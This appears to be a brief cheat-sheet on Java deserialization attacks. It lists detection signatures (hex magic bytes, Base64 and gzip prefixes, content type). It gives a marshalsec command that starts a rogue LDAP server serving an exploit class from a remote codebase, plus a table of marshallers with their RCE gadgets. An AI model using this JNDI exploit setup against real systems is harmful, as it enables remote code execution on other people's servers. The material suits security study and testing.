Java Deserialization
Detection
"AC ED 00 05"in HexAC ED: STREAM_MAGIC. Specifies that this is a serialization protocol.00 05: STREAM_VERSION. The serialization version."rO0"in Base64- Content-type = "application/x-java-serialized-object"
"H4sIAAAAAAAAAJ"in gzip(base64)

$ java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://localhost:8000\#exploit.JNDIExploit 1389
-a - generates/tests all payloads for that marshaller
-t - runs in test mode, unmarshalling the generated payloads after generating them.
-v - verbose mode, e.g. also shows the generated payload in test mode.
gadget_type - Identifier of a specific gadget, if left out will display the available ones for that specific marshaller.
arguments - Gadget specific arguments
Payload generators for the following marshallers are included:
| Marshaller | Gadget Impact |
|---|---|
| BlazeDSAMF(0|3|X) | JDK only escalation to Java serialization various third party libraries RCEs |
| Hessian|Burlap | various third party RCEs |
| Castor | dependency library RCE |
| Jackson | possible JDK only RCE, various third party RCEs |
| Java | yet another third party RCE |
| JsonIO | JDK only RCE |
| JYAML | JDK only RCE |
| Kryo | third party RCEs |
| KryoAltStrategy | JDK only RCE |
| Red5AMF(0|3) | JDK only RCE |
